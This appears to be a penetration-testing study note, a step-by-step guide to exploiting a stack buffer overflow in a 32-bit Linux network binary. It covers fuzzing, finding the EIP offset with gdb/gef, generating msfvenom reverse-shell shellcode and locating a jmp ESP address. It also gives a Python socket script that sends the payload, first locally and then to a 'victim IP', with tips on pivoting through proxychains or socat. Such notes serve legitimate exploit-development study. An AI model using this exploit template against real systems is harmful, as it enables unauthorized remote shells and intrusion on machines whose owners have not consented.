BOF GNU/Linux 32-bit

GNU/Linux 32-bit binary

1. Identify binary properties

First of all we use file {binary} commnad to see that we are aggainst a Linux 32-bit executable, then, to get more information about what the executable does, we use strace {binary}, then, if the binary is setting up a server, we identify in wich port is creating the server and we use netcat to connect to the port, for example if it's setting up a server in port 9898, we use nc localhost 9898. If the binary is running in the victim machine, the we can connect to the menu using nc {IP} {PORT in which the binary listens}.

2. Identify if the binary is vulnerable to buffer overflow

We test in the local host sending lot of A's in the input to see if the binary breaks. Then we are going to continue testing in our localhost until we get a functional exploit for that binary, then we exploit the victim machine.

Example:

We download the binary in our machine, start it, then connect to it with netcat and there we send multiple A's:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

The input should look like this but with more A's, then, after sending this, if we notice that the binary stops working, then it's vulnerable to buffer overflow.

3. Finding the offset

First we start the binary with gdb in order to debug it

gdb {binary} -q

Then we run the program

gef> r

With the program running with gdb we open another terminal, connect to that port and send multiple A's again.

Then we can see that the binary breaks with EIP and EBP "AAAA" which hexadecimal value is 0x41414141.

Now the are going to create a pattern and send it in order to locate exactly where we overwrite the EIP.

gef> pattern create

We copy the pattern and run again the binary

gef> r

Then, instead of sending A's, we send this created pattern in order to locate the EIP value. After that we need to see how many characters there are before overwriting the EIP.

gef> pattern offset $eip

Now we test it

python3 -c 'print("A"*{likely offset found} + "B"*4 + "C"*100)'

We copy that payload and send it again with the binary running in gdb. Now if we have the correct number of characters that go before EIP, the EIP value should be the four B's, 0x42424242 in hexadecimal and the ESP value should be multiple C's.

4. Malware Development

gef> checksec

If NX is disable we can create a payload in order to introduce shellcode in the ESP stack.

Also we need to have ASLR disabled because it tens to create conflicf

cat /proc/sys/kernel/randomize_va_space

It's value should be 0

First of all we create a payload in python with msfvenom. We use -b "\x00"parameter to avoid the null byte because it tends to create conflict. This tool create a payload that sends low level instructions that send us a reverse shell.

msfvenom -p linux/x86/shell_reverse_tcp LHOST{My IP} LPORT {Port we want to listen in} -b "\x00" -f py -v shellcode

Then we introduce that payload in the following python script:

#!/usr/bin/python3
		
import socket 
		
offset = {likely offset found}
before_eip = b"A" * offset #b stands for bytes
		
eip = #Jump to ESP
		
#here we copy all the sellcode lines
		
after_eip = b"\x90"*32 + shellcode #Here, in the ESP, we introduce 32 NOPs (No Operation code) before the shellcode to avoid the margin of error

Now we need to search a direction for the EIP in which a jump to the ESP is applied. In order to search the operation code that jumps to the ESP we can use the following metasploit utility:

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

nasm > jmp ESP

Now that we know that the corresponding operation code that apply a jump to the ESP is FFE4 we will filter for this in the binary to get a valid direction. To do this we will use objdump and grep:

objdump -D {binary} | grep "ff e4"

Now we need to represent this in little-endian and introduce this direction in our python script.

Example: We extract this number whith the previous command 8049d55 --> \x55\x9d\x04\x08 so in our pyton script eip = b"\x55\x9d\x04\x08".

So we modify our python script to add this value to the EIP and set up the socket that sends the payload:

#!/usr/bin/python3
		
import socket 
		
offset = {likely offset found}
before_eip = b"A" * offset
		
eip = b"{direction that jumps to the ESP in little-endian}"
		
#here we copy all the sellcode lines
		
after_eip = b"\x90"*32 + shellcode
		
payload = before_eip + eip + after_eip
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", {PORT in which the binary listens})) #Here we set the IP of the machine we want to connect with
s.send(payload)
s.close()

Now the test this in our local machine, so we open three terminals, one to run the binary, other to receive the reverse shell with netcat (nc -nlvp {PORT we have selected in shellcode}) and other to run the exploit. If we are using a zsh we should try running this in a bash terminal a few times if it doesn't work.

Once we know that the exploit works we modify the s.connect section in our python script to send the exploit to the victim IP instead of the localhost, leaving the port unchanged.

If we are pivoting, we must create a new shellcode with LHOST = {Nearest IP that the machine has connection with}, then we send the exploit with proxychains while listening with netcat in the machine that has connection with the victim machine or redirect the connection with socat or netsh in that machine and listen with netcat in our machine.

Last updated